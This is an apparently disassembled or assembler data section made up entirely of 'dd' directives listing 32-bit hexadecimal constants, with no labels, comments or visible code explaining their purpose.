dd 0AFAE19E8h, 0B6F400AEh, 0FA0E3816h, 1ADD3E00h, 0A0E7DC0Dh
dd 0CE00130h, 729F2DB0h, 0A639600Eh, 58441A00h, 104686C2h
dd 5BC30012h, 0BDE6127h, 29005E90h, 9697C714h, 7BC2516h
dd 0FEB818E8h, 98C8D013h, 0EC0099E3h, 34D6373Bh, 16AFCAA4h
dd 11B080h, 0E9C13A95h, 0A6004D9Fh, 38BED1D2h, 0F08BFFAEh
dd 0FD6E0021h, 0DEEECE22h, 7600EF5Eh, 36404A3Ch, 73FC5FCh
dd 27895657h, 7FF7405Ch, 9D06E7D1h, 0F899CA9Bh, 2447FAB8h
dd 0D6B5Eh, 0CBA3501Bh, 0B0004C4Eh, 54C105F6h, 78410175h
dd 2DAA0029h, 5AD91996h, 783D1785h, 0DFB0067h, 0D83B622Eh
dd 9FDA00C0h, 50127DC5h, 0D000A928h, 597A8E90h, 15A5F25h
dd 802AF4D3h, 0D0C6AACAh, 67003164h, 21D20BFFh, 8A249Eh
dd 13F80246h, 99E823ACh, 0B057E53Ch, 0EA2112FAh, 94613920h
dd 985D9E03h, 0CA9883A8h, 10EE097Ch, 95543200h, 6444A7D9h
dd 573A0E47h, 506012ACh, 86405C3Dh, 0D0885F03h, 98E16392h
dd 67503h, 4648F82Eh, 766CCCA2h, 97299800h, 0BCBAB662h
dd 55DC00EAh, 0ABD447CBh, 1872F88Ch, 6BF9C000h, 0F20ACC88h
dd 951200E8h, 0C41A10E6h, 78F8779Fh, 0D90070FCh, 0FBF2F87Dh
dd 761F0Eh, 0AB9BBB05h, 944A8C26h, 8E7B9000h, 4B9FBC01h
dd 9DC400DFh, 0E8D602CBh, 0A6F259FBh, 3C1C1900h, 20A864FFh
dd 6AA028Bh, 0F0CF22CBh, 61F056C3h, 6C0524B1h, 8F9A289Ch
dd 62B01E87h, 0F732E76Fh, 0A8DAADCh, 60537BE2h, 558C0094h
dd 5D892082h, 16297F00h, 3CE1FA2h, 7D510068h, 0B22890FCh
dd 612C8C5h, 0CC0012F4h, 0CE390E16h, 0ACB01CA1h, 0CB254920h
dd 4476C100h, 4C3FEB28h, 0E90D002Bh, 0BF845FF7h, 6430031h
dd 0FEBAEAE8h, 0EC730C88h, 1CEB4500h, 575302Dh, 0ACDA1E31h
dd 5CF100E8h, 3A7FD25Ah, 340A6E03h, 0F8C825D8h, 1DFEB31h
dd 22BBE414h, 0C42E6440h, 0B40F2919h, 9C2649h, 0DC75C3E0h
dd 0A6525851h, 5AFBCD04h, 0A08D80EEh, 6000273h, 7D80DB31h
dd 727C9AEBh, 12CA000Ah, 42D10104h, 8758A4ACh, 570C1FFDh
dd 0E948F7Ah, 0E99D009Ah, 3C610ABAh, 0C6004454h, 5A18A104h
dd 9E7F8B59h, 15D8331Dh, 302AF880h, 0E80A2274h, 803C0072h
dd 37097739h, 0C0F7DB6Bh, 6C003BE4h, 12AC0B6h, 3E5080C3h
dd 1A0B9403h, 0D68AE958h, 46178Dh, 1277A7DEh, 1077D4FFh
dd 390C093Dh, 26B3807Ch, 0AB74EA1Ch, 4F1F0086h, 24C2ACDCh
dd 0C12488DFh, 6E029DFFh, 0E070523Ch, 75015Ah, 0DE348D0Ch
dd 4A0F06D8h, 43F0B60Fh, 669D8024h, 0F4406Dh, 0AA08CC6Eh
dd 7F88C111h, 0F1816F00h, 41276112h, 4A1800CAh, 2102C604h
dd 93C2564h, 34D08E7Bh, 6919C066h, 2C0111BEh, 3FE87Dh
dd 0B955D39Dh, 0DC074D87h, 97D5D129h, 5D8DA330h, 20120061h
dd 0F29D1399h, 53007368h, 44F9800Bh, 0B0C8D074h, 2A600EB4h
dd 40DE580Ah, 826FB4B9h, 0F70023EBh, 1E575243h, 157480h
dd 48831B4Dh, 0F95BFBC3h, 24FAE800h, 2D02B04Fh, 884E1F41h
dd 90F7C006h, 4B758DDBh, 0F1AF3Fh, 9D038BCCh, 785848h
dd 92598043h, 60EAE2BDh, 723AE900h, 2907C383h, 1E161E4Eh
dd 27033942h, 9DDBC89h, 0CA75D080h, 0AF4D8D00h, 91A1F129h
dd 0E3B72E0h, 39907654h, 0AEA7842h, 0D330F660h, 0F17B100h
dd 8F4257B5h, 22111E15h, 3D854010h, 93ACE092h, 90017E0h
dd 0F70E79C0h, 29E8D8h, 51875E81h, 65997E9Fh, 637B4B14h
dd 23EA0F90h, 53D180CEh, 3E0BA88h, 520191FEh, 0D1DF220Fh
dd 0F055A9C2h, 0F8ED89B0h, 0EF0008FDh, 3C96245Bh, 42EB05h
dd 2122C931h, 0F9042BB0h, 0A280AC0Fh, 1235C0C8h, 38BCBEh
dd 5DD5D1Dh, 0E391CCDh, 93005279h, 0F0713B13h, 6AD6B7h
dd 0EBCA5D5Fh, 7C95170Bh, 9053400h, 0EABA74F6h, 3B710001h
dd 6F77E04Dh, 0C01901Ah, 0D605091h, 2FC2A65h, 0E3291C97h
dd 0F24F8033h, 5FB686F9h, 5040411Ch, 45C78880h, 1C52E04Bh
dd 0DF0431E9h, 0B7FC4086h, 274EB01h, 6E98E103h, 0C047EFB3h
dd 1FF3F77h, 0DF450E9Dh, 0E5029038h, 4440EE46h, 4E047E03h
dd 114DF5C8h, 4B31AC0h, 7773FCB8h, 139EC92h, 0BA2576C2h
dd 0E08A4BB5h, 0C3001B75h, 0F5F41509h, 8B0291h, 3BABE8Ch
dd 0F87B832Dh, 2229B81Ch, 53260FC0h, 0B886FA50h, 46F201E3h
dd 0A9E8CF0Bh, 0C155207Dh, 462873Eh, 0D9AB50C3h, 736FF680h
dd 0FD4F035h, 2024B211h, 34E6BF40h, 9600F1FAh, 63824BD5h
dd 7B7D59E3h, 900C0111h, 0CE2E0809h, 0E8D7F830h, 0E45C0F00h
dd 0F6034167h, 0CC7C00FEh, 1BD5169h, 87009124h, 96CF38D1h
dd 52B785h, 0C564FA48h, 0A4A7C4E1h, 391F5E00h, 0F09401DAh
dd 100200BBh, 0E3D44513h, 0D300277Dh, 0E05AB67Ch, 3ACA2BC1h
dd 0D6603B78h, 0F8E3321Ch, 4D759100h, 3EE6EAEh, 0F685008Dh
dd 7B9854EFh, 0C0F57EBh, 0C05C40h, 2C23B38h, 437D7Ch, 0DDDB0330h
dd 645157B2h, 62722F00h, 0A6B4BA7h, 0AA470095h, 0EC7D4F39h
dd 923E2A34h, 0EEB0F2Dh, 2563E08Dh, 0E419F6h, 4118C5Eh
dd 3490DCA4h, 7ADD6105h, 61870DD8h, 8EE84B20h, 0FBC100A5h
dd 0D92A1179h, 351CDC01h, 16C0D848h, 0AA406EBh, 5A050013h
dd 89CA0495h, 8400EE11h, 681C9D0Bh, 562E74h, 45C68510h
dd 7E1EBAFFh, 730018ECh, 0FA3B0C4Dh, 47203Ch, 0F841F940h
dd 0E8FE0581h, 3AD48200h, 6939FFB8h, 0EE80000Eh, 0D2121936h
dd 600E92E7h, 471603D5h, 0D14020C2h, 9FE810h, 0AD6CD61h
dd 0DB307828h, 0C8AE0660h, 0EA4714Fh, 0DD180886h, 1A79B40h
dd 5EF2CB8Ah, 3B6A4C58h, 39A4BB80h, 92718770h, 8BC09757h
dd 881EC5h, 66517231h, 0FDC79A5h, 0CF094F07h, 57D010D5h
dd 278461h, 7E811575h, 456744A1h, 37E3C000h, 97173259h
dd 2B8E0056h
dd 88723810h, 407CDAF4h, 915FF800h, 0E1E44D28h, 0A6F4C8h
dd 4FE083C1h, 21D00C03h, 0C7D91401h, 0D64BEB4h, 98CE60F8h
dd 0B585001Dh, 0B9157672h, 0F0F0190h, 0A15AF120h, 0AED6E8B8h
dd 7C508D47h, 13F8B2h, 66FA6C14h, 0D8FE28E7h, 0AAFD7000h
dd 3F1A40A7h, 0CD9A0162h, 8D7FE007h, 3431EC04h, 2EE4C50Fh
dd 7DF821E5h, 68800DFEh, 21B58682h, 167ABD3Ah, 7E772700h
dd 72052026h, 787A67h, 33F0CE0Ch, 3F6C18FBh, 81C7FC00h
dd 0FE465C3Bh, 94620077h, 17904815h, 30070E7Eh, 5C036618h
dd 41FE4E21h, 0F775F8h, 0A4D2C3Ch, 0A0C18B49h, 0EF996700h
dd 6DF16963h, 3F7C13h, 0DC8D39D1h, 0F06A2BF2h, 6CB14012h
dd 0F3FD2B00h, 0C36231h, 23EE810Ah, 857524D9h, 7F144905h
dd 0B5C5FD45h, 76A39C3h, 0A8427C6Ah, 7791F073h, 62037BE2h
dd 0B1B8461Ch, 0D21BE0AFh, 0E83C392Ch, 61BA1480h, 0F82DF410h
dd 6CE7201h, 75FF085Dh, 0C60B0EFh, 0C0E8076Eh, 0D0B6FDA2h
dd 0C985EC82h, 2B127F71h, 0DF075ED0h, 64E00D2Ah, 5BB35F4h
dd 8C063757h, 902BC0F0h, 7034612h, 497D834Ah, 819DE0A5h
dd 0B1F90017h, 7C660F3Ah, 0E90206BEh, 90109ED3h, 12FDC071h
dd 19130052h, 0F2BCED7Dh, 5004672h, 8EACBA66h, 7B3182h
dd 9A2FB3A9h, 0A7504C3h, 4DFFB905h, 0EE000DDEh, 3E6B322Eh
dd 74410764h, 132A56D8h, 10B04490h, 503B55Ch, 0FCC12DA4h
dd 2E098F0h, 481E005Eh, 0E64B5288h, 5000CB2Ch, 6D07625Dh
dd 0F14110Eh, 74778693h, 4C9CC840h, 0B400AD4Ah, 8CEC465Dh
dd 103B63h, 15640B72h, 4002291Ch, 7FDFEB1Fh, 1A388AC0h
dd 7DF80CC8h, 64F1001Bh, 4BF41626h, 0F207BA5Eh, 514E444Ch
dd 342507D0h, 8060094h, 50FE1391h, 205C67FDh, 575E0011h
dd 2590E9D6h, 0B47E00E0h, 27E85082h, 0BB019148h, 9D0EED4Ch
dd 99F3540Ah, 43FC2B63h, 0DD530F1Fh, 28E7A65Ch, 5016230Fh
dd 0EE09F9D8h, 0E8141002h, 6061C720h, 1EDD8015h, 0C337B81Ch
dd 9689F104h, 0EC46C3F9h, 0AC1F0EBEh, 4B009235h, 5C7A68B0h
dd 0A28D0071h, 0FD267712h, 9A1ECD2Fh, 514058B5h, 3894492Eh
dd 4FFF0022h, 2DF6F3C3h, 0AF001109h, 0D79E7323h, 51D0C8h
dd 6A621EB6h, 9499F502h, 41585700h, 0E08A6505h, 0F8F6EBh
dd 3260B63Eh, 50895951h, 0D09F0300h, 64EBDFDBh, 1012000Bh
dd 6233DAB0h, 6B00A7C9h, 94C65565h, 1A40D5Ah, 0B87604D2h
dd 0DC8DD34Ch, 48000AE2h, 0CC264A01h, 0EE51554Eh, 877EA6h
dd 5277E84Fh, 0DB4D3FE3h, 0C8004AECh, 142FBECBh, 58C64175h
dd 551C1E44h, 0B7D0C06Ah, 7C4CB950h, 94613Dh, 444303BEh
dd 2CDFE848h, 0F2CD24h, 0C4C6A9B9h, 400923AAh, 80857CF0h
dd 0A00AB5B2h, 197F6C7h, 5F0EFC43h, 0C8FB14F4h, 0AE02750Dh
dd 44748861h, 5064090h, 9B7BB9h, 0F859F913h, 0EC020698h
dd 64AC0405h, 1DEEE4D0h, 574ECF28h, 4B6F7181h, 0C9606042h
dd 2A001E75h, 2E8F039Eh, 0FC1CE9h, 73706C85h, 0B19C7508h
dd 3A62860Bh, 0E1550077h, 0EE36B6Eh, 8B1CF3CBh, 1D8866A5h
dd 0F633C7A8h, 6CC60B8h, 3000077Eh, 3C961F74h, 0E2ABB49Dh
dd 0F0440187h, 0A59B3C5h, 0F6823FCEh, 2E10C08Bh, 2AE200B5h
dd 0B297C44Ch, 590F44CCh, 40D4E542h, 0D0112CF2h, 29FF0012h
dd 0C948A40Ah, 3300AF22h, 581CE1D2h, 48901h, 0B9B31F56h
dd 77ECE23Dh, 0DF5E3Dh, 0ADE676A2h, 7CD5B4ACh, 8F170FF0h
dd 0FCA53878h, 0C6CDC048h, 2900A4B9h, 90BBA27h, 0E1F9BAFh
dd 5DA2D77Dh, 8F806EEFh, 0CEFD3C41h, 0C80720E9h, 54046A00h
dd 37503056h, 0DF442568h, 16245500h, 420099BAh, 90A4D4B8h
dd 7F4ACC7h, 4A045698h, 0FB8069FAh, 80102903h, 0AA2CA500h
dd 0E5784296h, 0BC7E0094h, 28DC4E54h, 98008C31h, 0A6869B88h
dd 13BA4AC6h, 7A6A42h, 5EA52FF7h, 70FACACBh, 8902807Bh
dd 0C2D40E09h, 825AC0C1h, 25E43Dh, 75B0A166h, 0E80C5E5Ah
dd 0DDD0F00h, 13C4F330h, 0FEDB0016h, 0C32FC2D9h, 0C0003506h
dd 0F448A23h, 2CFF1Eh, 8F1A4E47h, 0BC16CC20h, 54FEF80Fh
dd 9300F2C4h, 0F9558388h, 0FAE900AFh, 0D8434B5Fh, 2743B53h
dd 0D27E3Eh, 0C7256A4Ah, 55AE9Dh, 0EB41120Eh, 0A30FE620h
dd 144D0500h, 24731682h, 2210032h, 774CCE54h, 2B005033h
dd 0B78EF44Dh, 7E9FBE0h, 0BA6DC53Bh, 8DC0C084h, 29005077h
dd 0B75AF7E8h, 5C63B9C4h, 9000940Fh, 1F783352h, 55007EEBh
dd 4882694h, 7121179h, 0A2C314A4h, 0FA56F003h, 4E039FACh
dd 30E2B810h, 7459D898h, 736B040h, 0C4370E64h, 0F9A9B028h
dd 0DF900FF0h, 8E006174h, 22AF2516h, 471C4D6h, 0BAF0207Ah
dd 0A8FC04h, 671CDC4Dh, 2C5EC64h, 1A0C5903h, 1EE0B879h
dd 373E14CEh, 0B4080065h, 0B648E82Ch, 20990024h, 522D1DCAh
dd 4BE870A9h, 80E71000h, 0A8C48106h, 0BB3A00FBh, 5EDA90F5h
dd 850054E0h, 24D6D07Ah, 710BCF8h, 810D48D7h, 411BF0BDh
dd 1C00752Fh, 0EE5C987Ah, 0E88BFD44h, 25A000D4h, 469437E8h
dd 23017542h, 0EC971C9Ch, 48F02259h, 4F6100B5h, 95A0056Ah
dd 90014EBh, 4A339D2Bh, 20CCC5h, 0E85CB227h, 45759331h
dd 8842D01Fh, 24FEF300h, 11196h, 0BB125F22h, 130A7C54h
dd 2D05BF00h, 0A915A685h, 0E809003Ch, 69D61C4Fh, 0BB002145h
dd 0E0F31E12h, 0B5D831h, 0CE4D59E3h, 36D022Bh, 832EFF00h
dd 4B58BFD5h, 26360065h, 3F9DA4C2h, 5D0038A1h, 0FB40254Eh
dd 0ECF32DEAh, 4947000Ch, 0F4A49541h, 0A1FE3B6h, 28C01B6Bh
dd 0C896C0Dh, 0F8C60F67h, 420CAACh, 0B026CC91h, 0B4448600h
dd 9F6BBF06h, 0A4B800D2h, 54FBC10h, 0C0509DA5h, 6FCC4B6h
dd 0C800BDEAh, 8D22CC64h, 90504AA3h, 0A48C0EDCh, 0BC40BA86h
dd 60078B63h, 806BC63Dh, 520FB6B4h, 2E01A6h, 45859009h
dd 0D98C6FC0h, 242C4C00h, 6A107944h, 0D0A10013h, 7F80F0C2h
dd 1A012A61h, 409F0F2Fh, 9A70C8C4h, 7A9700CFh, 0E6B4035Ah
dd 6A7F2736h, 8ACA5100h, 7CE966A8h, 10680013h, 99EDA920h
dd 7B00480Bh, 494F1191h, 0EA406E43h, 98FAD3h, 0D217A33Bh
dd 8D7D30ABh, 0B3044700h, 9BBA693h, 0DDDB0184h, 742D2915h
dd 90DE4302h, 0E65A41B8h, 7D4A7200h, 5212C3Dh, 4D6E008Bh
dd 3B022408h, 0F5000789h, 0C3C7B5FCh, 5810DBCFh, 5A009471h
dd 0EC598B7Eh, 8003A234h, 0FC9182B7h, 0F3C095B4h, 3E6CFEh
dd 5A8F59F5h, 7E03C48Dh, 0BAF82000h, 5292B102h, 9A7E6B7h
dd 78800498h, 0BE00AA74h, 691B6693h, 168D0034h, 0F254090Eh
dd 52000429h, 0BA086365h, 36A1D79h, 331720F3h, 16C309DBh
dd 0E0D62BC8h, 0FB803F07h, 3BC07F06h, 2E5DDD34h, 0DF8E4h
dd 150F0EF1h, 0C3010C8Bh, 85B0D8E8h, 0FB709CB8h, 0DAE63A5Dh
dd 0EF1DEB8Ah, 2EC6059Dh, 0FDDBC0D3h, 55B88B04h, 77FA8503h
dd 806DE41Fh, 0C7089h, 0A0915A59h, 8880B494h, 0E42D0A03h
dd 0A281A54Dh, 0D0B88053h, 67744Ah, 600F060Bh, 7216EA83h
dd 0EB100403h, 90F8A123h, 0E421DDDFh, 74400FCh, 0C50477C1h
dd 340062C9h, 0CFF14858h, 247DC752h, 0ABDC50h, 0BCE9776Eh
dd 0BF01D35Fh, 0F3E07432h, 6F83CCCh, 0CFE200FCh, 297FB0C4h
dd 0BD00C27Ah, 168F720Ch, 67E8D3h, 0D40DA092h, 0C0A10BB9h
dd 0AF001898h, 0E43B57F0h, 7667DC6h, 0EECF869h, 100BC33Fh
dd 927CF4D0h, 50E88060h
dd 555AC01h, 68C1A1E0h, 0FB0A8058h, 0FC00EA51h, 0A5666F64h
dd 0B191CEh, 117FB762h, 0D3D52DE0h, 0F0466909h, 60558041h
dd 894831h, 5BB56FCCh, 0B9BC72AAh, 8C41FC2Ch, 63A6813Dh
dd 0C183040Ah, 1F2DF4CCh, 3AFDBBh, 9AC02456h, 8900AF4Eh
dd 0B683252h, 0F61F41Bh, 0D61D655Ch, 6A0D4680h, 8403FB91h
dd 0FE1EDDEAh, 2353D814h, 3C100055h, 8EEB7C72h, 0E204471Fh
dd 0BB379F33h, 0C13596C2h, 10203030h, 408C012Fh, 0E424AA25h
dd 0B095201Dh, 36C30307h, 5E50604h, 2B30487h, 9D09CB08h
dd 200C9C03h, 160EF80Dh, 1A840090h, 687013E8h, 93EE6675h
dd 3825B10Fh, 84FEE0D8h, 985C8A9h, 54CEE6EAh, 86AC7080h
dd 4839B042h, 84A9032Ah, 0BB298267h, 2EAD812h, 7B8300A8h
dd 0F7F6114h, 7C00A522h, 0B4496847h, 589C88h, 26961873h
dd 782F7024h, 0C748018h, 7D6212h, 15235AF0h, 87B3850Fh
dd 0B614B17h, 0A6164307h, 2470E471h, 719684FCh, 66D900A4h
dd 0A114B8FCh, 2500DA48h, 658B378Dh, 32E0A95h, 0E81F39B9h
dd 16E02AA7h, 2098B464h, 57335007h, 0C0C0BE8Bh, 3AC4443Ah
dd 3DBC990Bh, 4210C883h, 0B5F87DCCh, 522D0DD0h, 7F5500D4h
dd 1F883386h, 0A1AC44h, 8DCABCE4h, 89E82410h, 96633401h
dd 5AEB2948h, 0E9490D4h, 5C4A98C8h, 0A0C09CCEh, 0A832A4C4h
dd 0C1F317Eh, 95D8102h, 265C80CCh, 0E0696285h, 6E606E22h
dd 0A702A68Ah, 0BA8918C9h, 4963E003h, 3CB700BEh, 0E9CA8BD5h
dd 65FCD28Ch, 0DDBC7400h, 0B327ED7Ah, 8343077Ch, 39EFC89h
dd 0C2B8D00Bh, 0CB0103FDh, 74917208h, 3430641Dh, 2273002Ch
dd 0EFA85EC3h, 0F400553Bh, 5969CCA7h, 17D73017h, 0FDED83h
dd 0E1E0DD7Dh, 0A176F001h, 7D0B6600h, 855EA488h, 5D4000A5h
dd 38FF4C15h, 61DB292h, 0BE004657h, 8835905h, 0C99407F0h
dd 0F7CDDBh, 8257E815h, 0F6B82503h, 0B0216ACAh, 7F90C432h
dd 858400D4h, 0AC456C26h, 0F67F8139h, 0FECA9800h, 4DA2A32Eh
dd 0A1D81D42h, 0DF670180h, 0CC202162h, 5600FC44h, 0C77FA719h
dd 728D0C1h, 54FA4802h, 8320FE0Bh, 50798A98h, 3AA9A83Eh
dd 183DD8h, 0D1E88980h, 1788B6h, 948A8278h, 7F913967h
dd 9E4C2100h, 0DDA5E0ECh, 851C4889h, 0FECB1907h, 3D10A032h
dd 2A0040C6h, 9F09010Ch, 72350671h, 0C5B00372h, 131A65B4h
dd 9226BBE8h, 0A9A73400h, 8FA8DA24h, 0E47D56h, 0D8449821h
dd 0DF23E828h, 9D2AB60Fh, 0F4C2A0AAh, 96CDDC0h, 415782FFh
dd 8A503201h, 0B1AA3054h, 58AE6100h, 0EE6DA2Dh, 60D000A3h
dd 549E1042h, 8F0009D4h, 0C7D82808h, 0DC940Ch, 0BE0B846h
dd 1407529Eh, 8080B93Bh, 9C696E3Bh, 10E68Eh, 0C4B632BEh
dd 80661397h, 7AC23C02h, 60E07760h, 0E18A64h, 4CA29179h
dd 40F56E42h, 4EF73900h, 8598DFEBh, 27C00F6h, 300C8A12h
dd 914CE181h, 444849h, 44B2E906h, 1C26CE2Ch, 80800140h
dd 83490579h, 4100FEC9h, 4FBB07Bh, 102B207h, 658A13EBh
dd 7A4A3C38h, 2FC224C0h, 6C5E035Fh, 423796C4h, 0B563DD8h
dd 0F0074EAh, 0D6E2C7F6h, 0FE8F4Ah, 0A79A2D7h, 1EC93390h
dd 5607C500h, 2FCCF814h, 5C1F1C1h, 0BB5460h, 9CF04CB4h
dd 0F21217A0h, 537A8E00h, 0BC4E1440h, 568B5884h, 0DA1C3100h
dd 479130AFh, 25FE3F00h, 0ABDE13F8h, 0BBAA0716h, 0B0B6F117h
dd 72012C02h, 8E741500h, 3947CEA8h, 0BC70049h, 0FADC7516h
dd 0E800F43Ch, 0BC8AC52Ah, 6C8D24h, 0ACBE0460h, 6C70375h
dd 0EDCC0900h, 0F8463F1Eh, 0F5F2A3h, 0E312F713h, 89028D61h
dd 965C66F2h, 951D003Dh, 0FFE281C3h, 0EFE50203h, 0BFFC6284h
dd 60E8F7C1h, 4E00ACEBh, 37D7A06Ah, 3B159449h, 88009547h
dd 2AF509F7h, 0C3000F73h, 50085EF9h, 1D5540C5h, 409C926Ah
dd 0F6013347h, 8A0025EBh, 0D1063544h, 7D05Ch, 72D8042Ah
dd 87884316h, 82CDF53Fh, 0AB0D4926h, 0CCF26007h, 0B7500CBh
dd 2C683EEh, 0E003255Fh, 7A2A1D0Ah, 0CC50F040h, 5A1800AAh
dd 0B9A8285Dh, 10EC086Bh, 75496900h, 6D53F92Ch, 7C9842h
dd 0FBE82A14h, 0BF1BEAFAh, 4500B1F6h, 0E05135Eh, 1567DAh
dd 22EB92C7h, 7940505Ah, 0DF14BA00h, 0B3C35281h, 1F5C001Dh
dd 74ECB808h, 331329ADh, 13004F79h, 0A51BBA9Bh, 2AB40022h
dd 0A28670B9h, 0DF0353F0h, 308A0448h, 341CF899h, 138207EEh
dd 807DE949h, 0F1A24C3Ah, 1400B1F0h, 1D0FBA2Ch, 0F88AB788h
dd 4131EF2h, 3C0EC02Eh, 0E44AA9F3h, 196E4C16h, 0A280351Dh
dd 2FB120F4h, 0A51D01BAh, 0C8F59037h, 88A4FCDCh, 0D11F3Bh
dd 2D7B5D3Ch, 0E468A3h, 0F8B8292Ah, 8D4C4D2h, 2044B41Fh
dd 5AC8007Bh, 0B804EFD8h, 942860FCh, 6D1EBA3Ah, 751FB77Bh
dd 0CCDDD022h, 53CFB3Fh, 1AB83155h, 8FF26272h, 0CF29CFEDh
dd 3C3FDE0Ah, 0F8510108h, 0F48ACB3Dh, 79C865E0h, 34251D72h
dd 0D64A8047h, 0FC1A469Dh, 45E4BA00h, 1FB263D3h, 0CA143EF0h
dd 643FC403h, 87A96823h, 0A675DC10h, 57721F0h, 3CC0E507h
dd 0BA90F462h, 0F847FCh, 3A8A0CF2h, 6EE24C3h, 68001B7Ch
dd 100A211Ch, 0CB8F4h, 0CF66A5C9h, 1D29EB2Bh, 0F928912Ch
dd 0F949DA00h, 4160F0Ch, 7DB875F0h, 0DDABC0E3h, 0F500BA99h
dd 0B2F46E29h, 0ECA4A4Eh, 0CC3025D4h, 6D064400h, 647D2F39h
dd 43FCDD0Fh, 30E2358h, 722CD020h, 266C3E3h, 0CE8618Ah
dd 1D007051h, 96684C42h, 60F6F924h, 4120D831h, 501E724Dh
dd 51004AE1h, 0B88B440Fh, 3AB3008Ch, 0DB84CE52h, 7300FB19h
dd 530B108Eh, 262CCBBh, 37811D7h, 65404B7Fh, 77008312h
dd 859F2AC6h, 0E2D0EB43h, 88680053h, 3F094091h, 0B2007548h
dd 98F1864Ch, 1531821h, 0A32347E8h, 0D925BD38h, 5A06EC3Dh
dd 0B60A5Ch, 13406974h, 3D21E992h, 3E7CA84Bh, 73030744h
dd 8F72466Bh, 617053E8h, 45F86300h, 0A2416478h, 97AB1D10h
dd 0B2C2C0BBh, 58045D6Ch, 0C800E698h, 0C798928Eh, 3011DC42h
dd 0E46E8924h, 0DAC1B0E8h, 22A88F93h, 4844E0F8h, 31075DA0h
dd 0B0189198h, 21286490h, 4048881Eh, 5C328085h, 0F4268800h
dd 3C704431h, 6887C8FCh, 9E601C9Dh, 58891040h, 24033C12h
dd 61884C50h, 9178D048h, 7C403011h, 2C993864h, 131E30F0h
dd 2841220Ch, 24D22045h, 31848C4h, 10B1B899h, 0A2077813h
dd 51706E08h, 0C0BC3153h, 77B361F8h, 30F03D81h, 0E80318BCh
dd 48D4BE01h, 28E0548Ah, 223E29DFh, 88DC0FA1h, 0C4666019h
dd 24B044D8h, 33A6267h, 0D0183238h, 0CA88CABh, 801D24CCh
dd 601DC872h, 45FC41Fh, 0ACC03C4Eh, 0EBC2484h, 0B8249912h
dd 0B4396883h, 0B0A3D4C3h, 0CE9CCE3h, 0F58CF5ACh, 0E4F0F5A8h
dd 0D0FCA43Ch, 0CFA01CCFh, 0CF9CCF34h, 9830C7C8h, 940F4CE4h
dd 905CC4CCh, 8C39A3A0h, 88E87CFCh, 24CF48FAh, 38E0AC84h
dd 7CEFD80h, 1CF47Ch, 68281178h, 89740F18h, 70EE4C04h
dd 0DEBF64AEh, 0FBFAC6Ch, 44ED683Ch, 0F8FAF71Eh, 5CF36007h
dd 2FE2F84Dh, 3EC8F274h, 0CBA9458h, 0CFF454BAh, 60475014h
dd 914CF13Ch, 0F840F930h, 0EFFD1814h, 0CAF0BCF3h, 9FC700Ah
dd 7D97E800h, 81BA2098h, 80510995h, 0E0803F60h, 7446724Eh
dd 36BC4105h, 0FA8025B9h, 74450AB8h, 0F3133AFCh, 4A82F980h
dd 0A4095517h, 10015F01h, 0D2B8057Dh, 7EC099E9h, 0B1483907h
dd 0E5500C02h, 5A40800Fh
dd 202107Dh, 18BF0372h, 2C7F40FBh, 9B831F4Ch, 0D0FCC08Bh
dd 282DF876h, 317FFF00h, 86730232h, 0F3E11CC8h, 0B48D007Eh
dd 4AA87449h, 66FC400Fh, 0EBA4A2C1h, 0E76D6123h, 0B0B60FC0h
dd 0FB80009Bh, 0BC37401h, 9007704h, 6C30BFF3h, 7EB03Bh
dd 1AB8B302h, 4F9D140Dh, 2F588E0Fh, 8C44A0A1h, 10917BEh
dd 763352A3h, 0E011D825h, 88028F4Bh, 0AAC81B1h, 2B57E0C0h
dd 0C3B01F82h, 86E64084h, 2D3D1480h, 6D55AA12h, 0E04DFC0Fh
dd 0CA83BE5h, 11F007Fh, 7CFDF983h, 0C97E0B1Ah, 4E861C00h
dd 4A3E80AAh, 0A0401F27h, 0F766C02Fh, 0D8F320D9h, 0BF1CEB00h
dd 8F42C311h, 19740091h, 2F8E2C5h, 8A001508h, 6623A2E0h
dd 0A20E86ABh, 2A54C0C3h, 4081007Fh, 0E3FE3306h, 2B00F225h
dd 5EAB6293h, 0F48A0B14h, 8B8C0F29h, 116049D2h, 2BB48719h
dd 86081C01h, 27204EAh, 0EB09330h, 0E65D8A45h, 0E455BF00h
dd 0BDF8AA4Ah, 3B6DD21Ch, 90E2EBC0h, 83067Dh, 0D7DAF7A7h
dd 0B1E46A6Fh, 0C4008AE0h, 8B5092AAh, 32DC61h, 258C35F7h
dd 5B23F1Dh, 49430A01h, 0ED15D50Bh, 8BE980E7h, 0AA040709h
dd 10F8DC3Bh, 4B735852h, 830E0F98h, 0A01D12FAh, 5638BA05h
dd 496F00E2h, 0EB04D6B5h, 0DB013328h, 0E03A8889h, 48C0C11Dh
dd 0F60300B3h, 43DC8AF3h, 1488EACh, 4B0D002Dh, 3DA0F475h
dd 0C57C031Eh, 4AEAEB32h, 0C3FF1AA8h, 3C2EE358h, 0C058073h
dd 27F97541h, 26CF072Bh, 708EC3F7h, 81891D8Ah, 46A43200h
dd 220B6452h, 0F211CF1h, 0D93A0004h, 0E9027F76h, 8DDDCC00h
dd 1A9B9C09h, 0C9241790h, 48F805h, 1E74D03Ch, 7E537651h
dd 7A293B48h, 0AE92AA8h, 3E80C8Ch, 0F7CC0784h, 595B407Fh
dd 0E2014312h, 0AC0BEBDCh, 7DC04A35h, 5C00041h, 0EADFC42Bh
dd 26B8B701h, 0BA402A00h, 0BDE7602h, 1720029Bh, 289958F7h
dd 2DFDACE0h, 831A473Fh, 0F97E05D4h, 0EB48DBB6h, 1C51F9A3h
dd 0C07FFBECh, 1BF52E10h, 6A391338h, 3600FD20h, 33C81067h
dd 299D28h, 99593577h, 6E1940D0h, 0D9D60B1Eh, 69269C40h
dd 7B2B202Fh, 4470007h, 4FEE0990h, 0E9EAC1EAh, 136BC200h
dd 8C5AE8Fh, 5D770Bh, 0DE4F1673h, 68C61B28h, 0F0578D00h
dd 5A80E84Ch, 9C220081h, 4BE96CBAh, 591F13F4h, 60C79001h
dd 80F7B951h, 0C0A0A4C7h, 0FE6F2B7h, 0E3AFF599h, 3D46EF20h
dd 7400344Ah, 0F9C70C17h, 0D11166h, 16207536h, 1A7E2A52h
dd 145B3900h, 990F4C0Eh, 54FC079Bh, 3046BA33h, 403421EBh
dd 0B716C30Eh, 8745C019h, 0DA74D7h, 55F0F73Bh, 4E775D05h
dd 1C042498h, 0D0E9FB26h, 8BF00BBh, 3CAC1DE3h, 374272Ch
dd 4D228039h, 103E9620h, 0EF560060h, 648AEDE2h, 47F1906h
dd 52450B07h, 0C373020Dh, 3AAC88C0h, 0D0F400C4h, 0F7141BB2h
dd 0FF00E7EBh, 89BBA865h, 18E318Ch, 0A1C76630h, 0F08693BFh
